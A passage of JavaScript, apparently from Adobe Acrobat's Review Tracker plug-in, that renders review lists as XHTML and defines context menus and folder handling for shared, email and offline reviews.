							for(var i = 0; i < this.currentReviewsInFeed.aReviewInfo.length; i++)

								this.currentReviewsInFeed.aReviewInfo[i] = null;

						}



						this.currentReviewsInFeed.aReviewInfo = new Array();

	

						for(var i in items)

						{

							var item = items[i];

							var docID = item.Extension[rmaDocID];

	

							// Filter by group and hidden

							if(item.Extension[inboxHidden])

								continue;

							if(group != undefined && item.Extension[rmaFolder] != group)

								continue;

	

							var reviewInfo = null;

							

							app.beginPriv();

							reviewInfo = Collab.getReviewInfo(docID);

							app.endPriv();

							

							if(reviewInfo == null)

								continue;



							this.currentReviewsInFeed.aReviewInfo.push(reviewInfo);

							

							var bIsSharedReview = (item.Extension[rmaMethod] == "SharedReview");

							

							var bIsInitiated = item.Extension[rmaIsInitiated];

	

							aReviewList[aReviewList.length] =

							{

								cFileName: item.Title,

								nSentRecvdTime: bIsInitiated ? reviewInfo.nSent : reviewInfo.nReceived,

								cDeadline: bIsSharedReview ? reviewInfo.cDeadline : "",

								nTotalComments: bIsSharedReview ? reviewInfo.nComments : 0,

								nUnreadComments: bIsSharedReview ? reviewInfo.nNewComments : 0,

								nActiveReviewers: 0,

								nNewReviewers: bIsSharedReview ? reviewInfo.nNewReviewers : 0,

								cDeadlineUpdate: bIsSharedReview ? reviewInfo.cDeadlineUpdate : false,

								cFileLink: LINK("acrobat", "Inbox?container=" + rtNS + "&selectFeed=" + feed.URL + "#" + item.Guid),

								bIsSharedReview: bIsSharedReview,

							}



							//extra work for Shared Reviews

							if(bIsSharedReview)

							{

								//get info of all reviewers

								var nActiveReviewers = 0;

								var oReviewers = reviewInfo.oReviewers;

								for(var curReviewer in oReviewers)

								{

									//Fix for bug 1556877: Review info does not display when selecting shared review file in Review Tracker.

									//Map should not have empty string as a key. We should guard against such cases.

									if(curReviewer == "")

										continue;

			

									var nComments = oReviewers[curReviewer].nComments;

			

									if(nComments != undefined)

										nActiveReviewers++;

								}

								

								aReviewList[aReviewList.length - 1].nActiveReviewers = nActiveReviewers;



								//if there is no deadline for Shared Review, display "No Deadline"

								if(aReviewList[aReviewList.length - 1].cDeadline == "")

									aReviewList[aReviewList.length - 1].cDeadline = this.cNoDeadline;

									

								//if there is a deadline update for a Shared Review, display that in the Deadline column as (Updated)

								if(aReviewList[aReviewList.length - 1].cDeadlineUpdate != "")

									aReviewList[aReviewList.length - 1].cDeadline += " (" + this.cUpdated + ")";

							}

						}



						var cSentRecvd = (feed.URL == cReviewsIveSentURL) ? this.cIveSent : this.cIveReceived;

						var cSentRecvdLink = (feed.URL == cReviewsIveSentURL) ? cReviewsIveSentFeedLink : cReviewsIveReceivedFeedLink;

						var cNoReviewsInFeed;

						if(group)

							cNoReviewsInFeed = this.cNoReviewsInFolder;

						else

							cNoReviewsInFeed = (feed.URL == cReviewsIveSentURL) ? this.cNoSentReviews : this.cNoJoinedReviews;

							

						var cFeedIconClass = (feed.URL == cReviewsIveSentURL) ? "reviews-sent-iconic" : "reviews-joined-iconic";



						var viewXHTML;						

						if(aReviewList.length == 0)

						{

							viewXHTML = 

								<html xmlns="http://www.w3.org/1999/xhtml">

									<head>

										<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

										<link href="AdobeTracker/main.css" rel="stylesheet" type="text/css" />

									</head>



									<body id="body">

										<div class="summary_page">

											<span class={cFeedIconClass}><span style="font-weight:bold;">{cSentRecvd}</span></span>

											<br />

											<br />

											<span>

												&#8226; {cNoReviewsInFeed}<br />

											</span>

										</div>

									</body>

								</html>

						}

						else

						{

							viewXHTML =

								<html xmlns="http://www.w3.org/1999/xhtml">

									<head>

										<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

										<link href="AdobeTracker/main.css" rel="stylesheet" type="text/css" />

									</head>

								

									<body id="body">

										<div>

											<div id="mainDiv" class="summary_page">

												<span class={cFeedIconClass}><span style="font-weight:bold;">{cSentRecvd}</span></span>

												<br />

												<br />

												<div class="borderedDivSummaryPage" id="borderedDivID">

											    </div>

											</div>

										</div>

									</body>

								</html>

						}

						

						var cTopArrowXHTML;

						

						//if group is not selected, then "Reviews > I've Sent"

						if(group == undefined)

						{

							cTopArrowXHTML =

								<div class="bread_crumb">

									<a href={cReviewsSuperGroupLink}><span class="blueLink">{this.cReviewsSuperGroup}</span></a> > {cSentRecvd}

								</div>

						}

						//there is a group(folder) as well

						else

						{

							cTopArrowXHTML =

								<div class="bread_crumb">

									<a href={cReviewsSuperGroupLink}><span class="blueLink">{this.cReviewsSuperGroup}</span></a> > <a href={cSentRecvdLink}><span class="blueLink">{cSentRecvd}</span></a> > {group}

								</div>

						}



						//get the reference to BODY with ID "body"

						var body = null;

						

						var xhtml = new Namespace("http://www.w3.org/1999/xhtml");

						for each(var i in viewXHTML..xhtml::body)

						{

							if(i.@id == "body")

							{

								body = i;

								break;

							}

						}

						//

						

						body.prependChild(cTopArrowXHTML);//prepend the Top Arrow XHTML as a child of body

						

						//create the table only if there are reviews

						if(aReviewList.length > 0)

						{

							//get the reference to DIV with ID "mainDiv"

							var borderedDiv = null;

							

							var xhtml = new Namespace("http://www.w3.org/1999/xhtml");

							for each(var i in viewXHTML..xhtml::div)

							{

								if(i.@id == "borderedDivID")

								{

									borderedDiv = i;

									break;

								}

							}

							//

							

							//create a table and add as child of mainDiv

							var tableXHTML =

								<table class="borderedTable" cellpadding="15" cellspacing="0">

									<tr bgcolor={cTableHeaderColor}>

										<th style="padding-left: 10px;">{this.cTableHeaderFileName}</th>

										<th>{this.cTableHeaderDeadline}</th>

										<th><center>{this.cTableHeaderNumberOfComments}<br />{this.cTableHeaderNewByTotal}</center></th>

										<th><center>{this.cTableHeaderNumberOfReviewers}<br />{this.cTableHeaderNewByActive}</center></th>

									</tr>

								</table>

							//



							borderedDiv.appendChild(tableXHTML);



							//sort reviews based on Sent/Received time

							for(var current = 1; current < aReviewList.length; current++)

							{

								//save the current value

								var curVal = aReviewList[current];

								//

			

								var trav = current - 1;

								for(; trav >= 0; trav--)

								{

									//compare current with trav

									if(aReviewList[trav].nSentRecvdTime > curVal.nSentRecvdTime)

										break;

									else

										aReviewList[trav + 1] = aReviewList[trav];

								}

			

								if((trav + 1) != current)

									aReviewList[trav + 1] = curVal;

							}

							//

	

							var evenOddRow = false;

							

							//for all the Reviews in this Feed, create a row <tr> and insert into tableXHTML

							for(var reviewIndex = 0; reviewIndex < aReviewList.length; reviewIndex++)

							{

								var curReview = aReviewList[reviewIndex];

								

								//create comments(new/total) string

								var cComments = "";

								if(curReview.bIsSharedReview)

									cComments = "" + curReview.nUnreadComments + " / " + curReview.nTotalComments;

	

								//create reviewers(new/total) string

								var cReviewers = "";

								if(curReview.bIsSharedReview)

									cReviewers = "" + curReview.nNewReviewers + " / " + curReview.nActiveReviewers;

	

								//create color string

								evenOddRow = !evenOddRow;

								var cRowColor = evenOddRow ? cTableOddRowColor : cTableEvenRowColor;

	

								var reviewXHTML =

									<tr bgcolor={cRowColor}>

										<td style="padding-left: 10px;"><a href={curReview.cFileLink}><span class="blueLink">{curReview.cFileName}</span></a></td>

										<td>{curReview.cDeadline}</td>

										<td><center>{cComments}</center></td>

										<td><center>{cReviewers}</center></td>

									</tr>

								tableXHTML.appendChild(reviewXHTML);

							}

						}



						var stm = util.streamFromString(viewXHTML.toXMLString().replace(/NBSP_PLACEHOLDER/g, "&nbsp;"), "utf-8");

						app.beginPriv();

						Collab.saveTrackerHTML(viewXHTML.toXMLString().replace(/NBSP_PLACEHOLDER/g, "&nbsp;"));

						app.endPriv();

						dialog.load({"html": stm});

					}

					catch(e)

					{

						console.println("EXCEPTION: " + e);

						console.println(e.stack);

						myReviewTrackerDebugAlert("EXCEPTION: " + e);

						myReviewTrackerDebugAlert(e.stack);

					}

				},



				onSelectionChanged: function(dialog)

				{

					var myReviewsURN = "urn://ns.adobe.com/Acrobat/Tracker/ReviewTracker/MyReviews.rss"



					try

					{

						if(dialog.isItemSelection())

						{ 

							var feed = dialog.getFeed();

							this.showItemView(dialog, feed);

						}

						else// if(dialog.isFeedSelection() || dialog.isGroupSelection())

						{

							var feed = dialog.getFeed();

							this.showFeedView(dialog, feed);

						}

					}

					catch(e){ console.println(e); }

				},



				handleLink: function(dialog, url)

				{

					if(url.indexOf("acrobat:internal?") == 0)

					{

						var params = url.split("?")[1].split("&");

						for(var i in params)

						{

							var a = params[i].split("=");

							switch(a[0])

							{

								case "newFolder":

									ReviewTrackerAddNewFolder(a[1]);

									break;



								case "mailto":

									app.mailMsg({bUI: true, cTo: unescape(a[1])});

									break;

							}

						}

					}

				},



				// The Dialog Description

				description:

				{

					name: "Panel",

					elements:					// Child Element Array

					[

						{

							type: "view", 

							align: "align_center",

							align_children: "fill",

							elements: 						// Child Element Array

							[

								{

									type: "html_view", 

									item_id: "html"

								}

							]

						}

					]

				}

			};



			app.beginPriv();

			result.showItemView = app.trustedFunction(result.showItemView);

			result.showFeedView = app.trustedFunction(result.showFeedView);

			app.endPriv();

			return result;

		}),



		getInitiateMenu: app.trustedFunction(function(selection)

		{

			var result = 

			[

				{

					cName: "SendForReview",

					cDisplayName: AnnotsString.IDS_SEND_FOR_REVIEW,

					cIconURL: "local://A_SendByEmailForReview_Sm_N.png",

					onExecute: function(selection, doc) { ANSendForReview(doc); },

					onEnabled: function(selection, doc) {  return ANSendForReviewEnabled(doc); }

				},

				{

					cName: "SendForSharedReview",

					cDisplayName: AnnotsString.IDS_SEND_FOR_SHARED_REVIEW,

					cIconURL: "local://A_SendForSharedReview_Sm_N.png",

					onExecute: function(selection, doc) { ANSendForSharedReview(doc); },

					onEnabled: function(selection, doc) { return ANSendForSharedReviewEnabled(doc); }

				},

				hasHanko() ? 

				{

					cName: "SendForApproval",

					cDisplayName: AnnotsString.IDS_SEND_FOR_APPROVAL,

					cIconURL: "local://A_J_Approve_Sm_N.png",

					onExecute: function(selection, doc) { ANStartApproval(doc); },

					onEnabled: function(selection, doc) { return ANSendForReviewEnabled(doc); }

				} : null,



			];



			return result;

		}),

		

		getGroupContextMenu: function(selection)

		{

			var result = new Array;

			

			result[result.length] = 

			{

				cName: "Expand",

				cDisplayName: AnnotsString.IDS_PANEL_EXPAND,

				onExecute: function(selection, doc)

				{

					TrackerExpandSelection();

				},

				

				onEnabled: function(selection, doc)

				{

					return TrackerCanExpandSelection(selection.feed.URL);

				}

			};



			result[result.length] = 

			{

				cName: "Collapse",

				cDisplayName: AnnotsString.IDS_PANEL_COLLAPSE,

				onExecute: function(selection, doc)

				{

					TrackerCollapseSelection();

				},

				

				onEnabled: function(selection, doc)

				{

					return TrackerCanCollapseSelection(selection.feed.URL);

				}

			};



			result[result.length] = { bSeparator: true }; 



			result[result.length] = 

			{

				cName: "Remove",

				cDisplayName: AnnotsString.IDS_REVIEW_PANEL_REMOVE_FOLDER,

				onExecute: function(selection, doc)

				{

					ReviewTrackerRemoveFolder(selection.feed.URL, this.group);

				},

				group: selection.group

			};

			

			return result;

		},

		

		getFeedTip: function(selection)

		{

			return selection.feed.Description;

		},



		getItemTip: function(selection)

		{

			var reviewMethods =

			{ 

				"EBR": AnnotsString.IDS_REVIEW_PANEL_EMAIL, 

				"BBR": AnnotsString.IDS_REVIEW_PANEL_ONLINE,

				"SharedReview": AnnotsString.IDS_REVIEW_PANEL_SHARED,

			};



			var item = selection.item;

			var result = AnnotsString.IDS_REVIEW_PANEL_REVIEW_OF_TIP;

			result = result.replace(/{type}/g, 

						reviewMethods[item.Extension[rmaMethod]]);



			var title = item.Title;

			return result.replace(/{title}/g, title);

		},



		getGroupTip: function(selection)

		{

			//check if we are the initiator

			var bIsInitiated = (selection.feed.URL == cReviewsIveSentURL) ? true : false;



			if(bIsInitiated)

				return AnnotsString.IDS_REVIEW_PANEL_MY_REVIEWS_DESC;

			else

				return AnnotsString.IDS_REVIEW_PANEL_PARTICIPANT_REVIEWS_DESC;

		},



		getFeedContextMenu: function(selection)

		{

			var result = new Array;

			

			result[result.length] = 

			{

				cName: "Expand",

				cDisplayName: AnnotsString.IDS_PANEL_EXPAND,

				onExecute: function(selection, doc)

				{

					TrackerExpandSelection();

				},

				

				onEnabled: function(selection, doc)

				{

					return TrackerCanExpandSelection(selection.feed.URL);

				}

			};



			result[result.length] = 

			{

				cName: "Collapse",

				cDisplayName: AnnotsString.IDS_PANEL_COLLAPSE,

				onExecute: function(selection, doc)

				{

					TrackerCollapseSelection();

				},

				

				onEnabled: function(selection, doc)

				{

					return TrackerCanCollapseSelection(selection.feed.URL);

				}

			};



			result[result.length] = { bSeparator: true }; 



			result[result.length] = 

			{

				cName: "CreateNewFolder",

				cDisplayName: AnnotsString.IDS_REVIEW_PANEL_CREATE_NEW_FOLDER,

				onExecute: function(selection, doc)

				{

					var url = selection.feed.URL;

					ReviewTrackerAddNewFolder(url);

				},

			};

			

			return result;

		},

		

		getMultipleSelectContextMenu: function(selection)

		{

			var result = new Array;



			result[result.length] = 

			{

				cName: "Remove",

				cDisplayName: AnnotsString.IDS_REVIEW_PANEL_REMOVE_MULTIPLE_SELECTED,

				onExecute: function(selection, doc)

				{

			    	var bIsInitiated = (selection[0].feed.URL == cReviewsIveSentURL) ? true : false;

				    	

					var bHasEBROrBRR = false;

					

					if(bIsInitiated)

					{

						//check if there is any EBR or BBR in the selected items

						for(var i = 0; i < selection.length; i++)

						{

							var type = selection[i].type;

							

							if(type == "item")

							{

								var item = selection[i].item;

								var extension = item.Extension;

								var reviewType = extension[rmaMethod];

								if(reviewType == "EBR" || reviewType == "BBR")

								{

									bHasEBROrBRR = true;

									break;

								}

							}

						}

					}



					RemoveMultipleSelectedReviews(bIsInitiated && !bHasEBROrBRR);

				}

			};



			result[result.length] = { bSeparator: true };



			result[result.length] = 

			{

				cName: "MoveToFolder",

				cDisplayName: AnnotsString.IDS_REVIEW_PANEL_MOVE_TO_FOLDER,

				oSubMenu: 

				[

					{

						cName: "None",

						cDisplayName: AnnotsString.IDS_REVIEW_PANEL_FOLDER_NONE,

						onExecute: function(selection, doc)

						{

							var reviewIDs = new Array;



							for(var i = 0; i < selection.length; i++)

							{

								var type = selection[i].type;

								

								if(type == "item")

								{

									var item = selection[i].item;

									var extension = item.Extension;

									var reviewID = extension[rmaDocID];

									reviewIDs[reviewIDs.length] = reviewID;

								}

							}



							SetReviewFolderForMultipleReviews(selection[0].feed.URL, reviewIDs, "");

						}

					},

					{

						bSeparator: true

					},

				]

			};

			

			var sendToMenu = result[result.length - 1].oSubMenu;

			var folders = Collab.getReviewFolders(selection[0].feed.URL);//the feed URL for the first selected item works here



			for(var i in folders)

			{

				var origFolderName = folders[i];

				

				if(app.platform == "WIN" || app.platform == "MAC")

				{

					folders[i] = folders[i].replace("&", "&&");//escape actual ampersand

				}

				else if (app.platform == "UNIX")

				{

					folders[i] = folders[i].replace("&", "_");//for underline

					folders[i] = folders[i].replace("_", "__");//escape actual underscore

				}



				sendToMenu[sendToMenu.length] = 

				{

					cName: origFolderName,

					cDisplayName: folders[i],

					onExecute: function(selection, doc)

					{

						var reviewIDs = new Array;



						for(var i = 0; i < selection.length; i++)

						{

							var type = selection[i].type;

							

							if(type == "item")

							{

								var item = selection[i].item;

								var extension = item.Extension;

								var reviewID = extension[rmaDocID];

								reviewIDs[reviewIDs.length] = reviewID;

							}

						}



						SetReviewFolderForMultipleReviews(selection[0].feed.URL, reviewIDs, this.cName);

					}

				};

			}



			return result;

		},



		getItemContextMenu: function(selection)

		{

			var result = new Array;



			result[result.length] = 

			{

				cName: "OpenReview",

				cDisplayName: AnnotsString.IDS_ATTACHLAUNCH_OPEN,

				onExecute: function(selection)

				{

					app.launchURL(selection.item.Link);

				}

			};



			result[result.length] = { bSeparator: true };



			if(!app.viewerType.match(/Reader/))//Change Deadline, Add Deadline, End Review should not be accessible in Reader

			{

				result[result.length] = 

				{

					cName: "ChangeDeadline",

					cDisplayName: AnnotsString.IDS_REVIEW_PANEL_CHANGE_DEADLINE,

					onExecute: function(selection)

					{

						var docID = selection.item.Extension[rmaDocID];

						if(typeof docID != "undefined")

							app.launchURL("acrobat:Review?changeDeadline=" + docID);

					},

					onEnabled: function(selection)

					{

						//check that this is a shared review

						var reviewType = selection.item.Extension[rmaMethod];

						if(reviewType != "SharedReview")

							return false;

						//check if we are the initiator

						var isInitiated = selection.item.Extension[rmaIsInitiated];

						if(typeof isInitiated == "undefined" || !isInitiated)

							return false;



						var docID = selection.item.Extension[rmaDocID];



						//check that the comment repository is present

						var bIsCommentRepositoryIntact = ReviewHasCommentRepositoryIntact(docID);

						if(!bIsCommentRepositoryIntact)

							return false;

						//check if the review has a deadline

						return ReviewHasDeadline(docID);

					}

				};

				

				result[result.length] = 

				{

					cName: "AddDeadline",

					cDisplayName: AnnotsString.IDS_REVIEW_PANEL_ADD_DEADLINE,

					onExecute: function(selection)

					{

						var docID = selection.item.Extension[rmaDocID];

						if(typeof docID != "undefined")

							app.launchURL("acrobat:Review?addDeadline=" + docID);

					},

					onEnabled: function(selection)

					{

						//check that this is a shared review

						var reviewType = selection.item.Extension[rmaMethod];

						if(reviewType != "SharedReview")

							return false;

						//check if we are the initiator

						var isInitiated = selection.item.Extension[rmaIsInitiated];

						if(typeof isInitiated == "undefined" || !isInitiated)

							return false;



						var docID = selection.item.Extension[rmaDocID];



						//check that the comment repository is present

						var bIsCommentRepositoryIntact = ReviewHasCommentRepositoryIntact(docID);

						if(!bIsCommentRepositoryIntact)

							return false;

						//check if the review has a deadline

						return !ReviewHasDeadline(docID);

					}

				};



				result[result.length] = 

				{

					cName: "EndReview",

					cDisplayName: AnnotsString.IDS_REVIEW_PANEL_END_REVIEW,

					onExecute: function(selection)

					{

						var docID = selection.item.Extension[rmaDocID];

						if(typeof docID != "undefined")

							app.launchURL("acrobat:Review?end=" + docID);

					},

					onEnabled: function(selection)

					{

						//check that this is a shared review

						var reviewType = selection.item.Extension[rmaMethod];

						if(reviewType != "SharedReview")

							return false;

						//check if we are the initiator

						var isInitiated = selection.item.Extension[rmaIsInitiated];

						if(!isInitiated)

							return false;

						//check if the review's state is not "end"

						var docID = selection.item.Extension[rmaDocID];

						return (ReviewState(docID) != REVIEW_STATE_ENDED);

					}

				};

			}



			result[result.length] = 

			{

				cName: "Remove",

				cDisplayName: AnnotsString.IDS_REVIEW_PANEL_REMOVE_REVIEW,

				onExecute: function(selection, doc)

				{

					var reviewType = selection.item.Extension[rmaMethod];

					ReviewTrackerRemoveReview(selection.item, reviewType);

				}

			};



			result[result.length] = { bSeparator: true };



			result[result.length] = 

			{

				cName: "EmailInitiator",

				cDisplayName: AnnotsString.IDS_REVIEW_PANEL_EMAIL_INITIATOR,

				onExecute: function(selection, doc)

				{

					var docID = selection.item.Extension[rmaDocID];

					if(typeof docID != "undefined")

						app.launchURL("acrobat:Review?emailInitiator=" + docID);

				},

				onEnabled: function(selection, doc)

				{

					var isInitiated = selection.item.Extension[rmaIsInitiated];

					return (typeof isInitiated == "undefined" || !isInitiated);

				}

			};

			

			result[result.length] = 

			{

				cName: "EmailReviewers",

				cDisplayName: AnnotsString.IDS_REVIEW_PANEL_EMAIL_PARTICIPANTS,

				onExecute: function(selection, doc)

				{

					var docID = selection.item.Extension[rmaDocID];

					if(typeof docID != "undefined")

						app.launchURL("acrobat:Review?emailAllReviewers=" + docID);

				},

			};



			if(!app.viewerType.match(/Reader/))//Add Reviewers, Start New Review with Same Reviewers shall not be accessible in Reader

			{

				result[result.length] = 

				{

					cName: "Invite",

					cDisplayName: AnnotsString.IDS_REVIEW_PANEL_INVITE,

					onExecute: function(selection, doc) 

					{

						var docID = selection.item.Extension[rmaDocID];

						if(typeof docID != "undefined")

							app.launchURL("acrobat:Review?invite=" + docID);

					},

					onEnabled: function(selection, doc)

					{

						//check if we are the initiator

						var isInitiated = selection.item.Extension[rmaIsInitiated];

						if(!isInitiated)

							return false;



						//if this is a shared review, then the review should not have ended

						var reviewType = selection.item.Extension[rmaMethod];

						if(reviewType == "SharedReview")

						{

							var docID = selection.item.Extension[rmaDocID];

							return (ReviewState(docID) != REVIEW_STATE_ENDED);

						}

						else//otherwise show it

							return true;

					}

				};

				

				result[result.length] = 

				{

					cName: "NewWithSameReviewers",

					cDisplayName: AnnotsString.IDS_REVIEW_PANEL_NEW_WITH_SAME_REVIEWERS,

					onExecute: function(selection, doc)

					{

						var docID = selection.item.Extension[rmaDocID];

						if(typeof docID != "undefined")

							app.launchURL("acrobat:Review?newSharedReviewWithSameReviewers=" + docID);

					},

					onEnabled: function(selection, doc)

					{

						//check that this is a shared review

						var reviewType = selection.item.Extension[rmaMethod];

						if(reviewType != "SharedReview")

							return false;

						//check if we are the initiator

						var isInitiated = selection.item.Extension[rmaIsInitiated];

						return isInitiated;

					}

				};

			}



			result[result.length] = { bSeparator: true };



			if(!app.viewerType.match(/Reader/))//Convert to PDF shall not be accessible in Reader

			{

				result[result.length] = 

				{

					cName: "ConvertToPDF",

					cDisplayName: AnnotsString.IDS_REVIEW_PANEL_CREATE_PDF_FROM_TRACKER_DETAILS,

					onExecute: function(selection)

					{

						app.launchURL("acrobat:Review?convertToPDF");

					}

				};



				result[result.length] = { bSeparator: true };

			}



			result[result.length] = 

			{

				cName: "CreateNewFolder",

				cDisplayName: AnnotsString.IDS_REVIEW_PANEL_CREATE_NEW_FOLDER,

				onExecute: function(selection, doc)

				{

					var url = selection.feed.URL;

					ReviewTrackerAddNewFolder(url);

				},

			};

			

			result[result.length] = 

			{

				cName: "MoveToFolder",

				cDisplayName: AnnotsString.IDS_REVIEW_PANEL_MOVE_TO_FOLDER,

				oSubMenu: 

				[

					{

						cName: "None",

						cDisplayName: AnnotsString.IDS_REVIEW_PANEL_FOLDER_NONE,

						onExecute: function(selection, doc)

						{

							var ext = selection.item.Extension;



							// Add the item to the folder

							Collab.setReviewFolder(selection.feed.URL, ext[rmaDocID], "");

						}

					},

					{

						bSeparator: true

					},

				]

			};

			

			var sendToMenu = result[result.length - 1].oSubMenu;

			var folders = Collab.getReviewFolders(selection.feed.URL);



			for(var i in folders)

			{

				var origFolderName = folders[i];

				

				if(app.platform == "WIN" || app.platform == "MAC")

				{

					folders[i] = folders[i].replace("&", "&&");//escape actual ampersand

				}

				else if (app.platform == "UNIX")

				{

					folders[i] = folders[i].replace("&", "_");//for underline

					folders[i] = folders[i].replace("_", "__");//escape actual underscore

				}



				sendToMenu[sendToMenu.length] = 

				{

					cName: origFolderName,

					cDisplayName: folders[i],

					onExecute: function(selection, doc)

					{

						var item = selection.item;

						var feed = selection.feed;

						var ext = item.Extension;

						Collab.setReviewFolder(feed.URL, ext[rmaDocID], this.cName);

					}

				};

			}

			return result;

		},



		supportsMultipleSelection: function() { return true; },

		

		isCompatibleForMultipleSelectionWith: function(driverURL)

		{

			if(driverURL == "urn://ns.adobe.com/Acrobat/Tracker/UI/OfflineTracker" || 

			   driverURL == "urn://ns.adobe.com/Acrobat/Tracker/UI/ReviewsSuperGroup" ||

			   driverURL == "urn://ns.adobe.com/Acrobat/Tracker/UI/ReviewTracker")

				return true;

			else

				return false;

		},



		canDeleteFeed: function(selection)

		{

			return false;

		},



		canDeleteFeedWhileMultipleSelect: function(selection)

		{

			return false;

		},



		canDeleteItem: function(selection)

		{

			return true;

		},



		onDeleteItem: function(selection)

		{

			var reviewType = selection.item.Extension[rmaMethod];

			return ReviewTrackerRemoveReview(selection.item, reviewType);

		},



		canDeleteItemWhileMultipleSelect: function(selection)

		{

			return true;

		},



		onDeleteItemWhileMultipleSelect: function(selection)

		{

			return ReviewTrackerRemoveReviewWhileMultipleSelect(selection.item, "Review");

		},



		onDeleteAllMultipleSelected: function(selection)

		{

			//check if we are the initiator

			var aFeedURL = selection[0].feed.URL.split(/#/);

			var bIsInitiated = (aFeedURL[0] == cReviewsIveSentURL) ? true : false;



			var bHasEBROrBRR = false;

			

			if(bIsInitiated)

			{

				//check if there is any EBR or BBR in the selected items

				for(var i = 0; i < selection.length; i++)

				{

					var type = selection[i].type;

					

					if(type == "item")

					{

						var item = selection[i].item;

						var extension = item.Extension;

						var reviewType = extension[rmaMethod];

						if(reviewType == "EBR" || reviewType == "BBR")

						{

							bHasEBROrBRR = true;

							break;

						}

					}

				}

			}



			return RemoveMultipleSelectedReviews(bIsInitiated && !bHasEBROrBRR);

		},



		canDeleteGroup: function(selection)

		{

			return true;

		},



		onDeleteGroup: function(selection)

		{

			var url = selection.feed.URL;

			var group = selection.group;

			

			if(typeof group != "undefined")

			{

				ReviewTrackerRemoveFolder(url, group);

				return true;

			}

			else

				return false;

		},





		canDeleteGroupWhileMultipleSelect: function(selection)

		{

			return true;

		},



		onDeleteGroupWhileMultipleSelect: function(selection)

		{

			var url = selection.feed.URL;

			var group = selection.group;



			if(typeof group != "undefined")

			{

				ReviewTrackerRemoveFolderWhileMultipleSelect(url, group);

				return true;

			}

			else

				return false;

		},



		canChangeGroups: function() { return true; },

		canModifyItemGroup: function(selection, src, dst) { return true; },



		modifyItemGroup: function(selection, src, dst) 

		{

			var item = selection.item;

			var feed = selection.feed;

			var ext = item.Extension;

			var folders = Collab.getReviewFolders(feed.URL);



            if(dst.length == 0 && src.length != 0)

            {

                Collab.setReviewFolder(feed.URL, ext[rmaDocID], "");

                return;

            }

            

			for(var i in dst)

			{

				var newFolder = null;

				for(var j in folders) 

				{

					if(dst[i] == folders[j]) 

						newFolder = folders[j];

				}



				if(newFolder != null)

				{

					Collab.setReviewFolder(feed.URL, ext[rmaDocID], newFolder);

					break;

				}

			}

		}

	};



	// Offline Docs UI

	var oOfflineTrackerUI = 

	{

		createToolBar: function()

		{

			var result =

			[

				{

					cType: "button",

					cName: "RT:GoBackOnline",

					cDisplayName: AnnotsString.IDS_GO_ONLINE_LABEL_TEXT,

					cTip: AnnotsString.IDS_GO_ONLINE_TIP_TEXT,

					cIconURL: "local://C_OnlineComments_Lg_N.png",

					onExecute: function(selection)

					{

						var docID = selection.item.Extension[rmaDocID];

						Collab.goBackOnline(docID);

					},

					onEnabled: function(selection)

					{

						return selection.type == "item";

					}

				},

				{

					cType: "button",

					cName: "RT:RemoveOffline",

					cDisplayName: AnnotsString.IDS_REVIEW_PANEL_REMOVE_BUTTON,

					cTip: AnnotsString.IDS_REVIEW_PANEL_REMOVE_TIP,

					cIconURL: "local://C_RemoveFromList_Md_N.png",

					onExecute: function(selection)

					{

						ReviewTrackerRemoveReview(selection.item, "Offline");

					},

					onEnabled: function(selection)

					{

						return selection.type == "item";

					}

				}

			];



			return result;

		},



		createContext: app.trustedFunction(function()

		{

			var result =

			{

				onSelectionChanged: function(dialog)

				{

					if(dialog.isItemSelection()) 

						this.showItemView(dialog);

					else if(dialog.isFeedSelection() || dialog.isGroupSelection())

						this.showFeedView(dialog);

				},



				showFeedView: function(dialog)

				{

					try

					{

					var L = function(s) { return AnnotsString[s]; }

					var LINK = function(scheme, s)

						{ return scheme + ":" + s; }



					var selection = dialog.getSelection();

					var feed = dialog.getFeed();

					var extension = feed.Extension;

					var items = feed.Items;



					XML.setSettings({ignoreComments: false});



					var strs = 

					{

						cListTitle: feed.Title,

						aReviewList: [],

					};



					for(var i in items)

					{

						var item = items[i];

						if(item.Extension[inboxHidden]) continue;



						var docID = item.Extension[rmaDocID];



						strs.aReviewList[strs.aReviewList.length] =

						{

							cFileLink: LINK("acrobat", "Inbox?container=" + rtNS + "&selectFeed=" + feed.URL + "#" + item.Guid),

							cDeleteLink: LINK("acrobat", "Review?remove=" + docID),

							cFileName: item.Title,

						}

					}



					with(strs)

					{

						var viewXHTML = 

							<html xmlns="http://www.w3.org/1999/xhtml">

							<head>

								<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

								<link href="AdobeTracker/main.css" rel="stylesheet" type="text/css" />

							</head>

							<body>



							<div id="pg_joined">



								<h1>{cListTitle}</h1>

									

								<div class="content_offline">

									<table id="listEntries" class="offlineList" cellspacing="0" cellpadding="0">

									</table>

								</div>

							</div>



							</body>

							</html>



						var xhtml = new Namespace("http://www.w3.org/1999/xhtml");

						for each(var i in viewXHTML..xhtml::table)

						{

							if(i.@id == "listEntries")

							{

								for(var j in aReviewList)

								{

									with(aReviewList[j])

									{

										var serverXHTML =

											<tr>

												<td class="label"><a href={cFileLink} class="online-review-iconic">{cFileName}</a></td>

												<td class="trash"><a href={cDeleteLink}><img src="AdobeTracker/trash.gif" height="30" width="30" /></a></td>

											</tr>

										i.appendChild(serverXHTML);

									}

								}

								break;

							}

						}



						var stm = util.streamFromString(viewXHTML.toXMLString().replace(/NBSP_PLACEHOLDER/g, "&nbsp;"), "utf-8");

						app.beginPriv();

						Collab.saveTrackerHTML(viewXHTML.toXMLString().replace(/NBSP_PLACEHOLDER/g, "&nbsp;"));

						app.endPriv();

						dialog.load({"html": stm});

					}



					}

					catch(e)

					{

						console.println("EXCEPTION: " + e);

						console.println(e.stack);

					}

				},



				showItemView: function(dialog)

				{

					// Items only

					if(!dialog.isItemSelection()) return;



					var selection = dialog.getSelection();



					var title = AnnotsString.IDS_REVIEW_PANEL_TITLE;

					title = title.replace(/{title}/g, selection.Title);



					var extension = selection.Extension;



					XML.setSettings({ignoreComments: false});



					var online = extension[rmaIsOnline];



					var strs = 

					{

						cTitle: title,

						cAttentionProperty: AnnotsString.IDS_REVIEW_PANEL_ATTENTION, 

						cAttentionValue: AnnotsString.IDS_REVIEW_PANEL_ONLINE_REVIEW,

						cTypeProperty: AnnotsString.IDS_REVIEW_PANEL_TYPE,

						cTypeValue: extension[rmaMethod],

						cURLProperty: AnnotsString.IDS_REVIEW_PANEL_REMOTE_URL,

						cURLValue: extension[rmaRemoteURL],

						cVisibleWarning: online ?  "" : "display: none",

						cOnlineURL: online,

					};



											

					with(strs)

					{

						var viewXHTML = 

							<html xmlns="http://www.w3.org/1999/xhtml">

							<head>

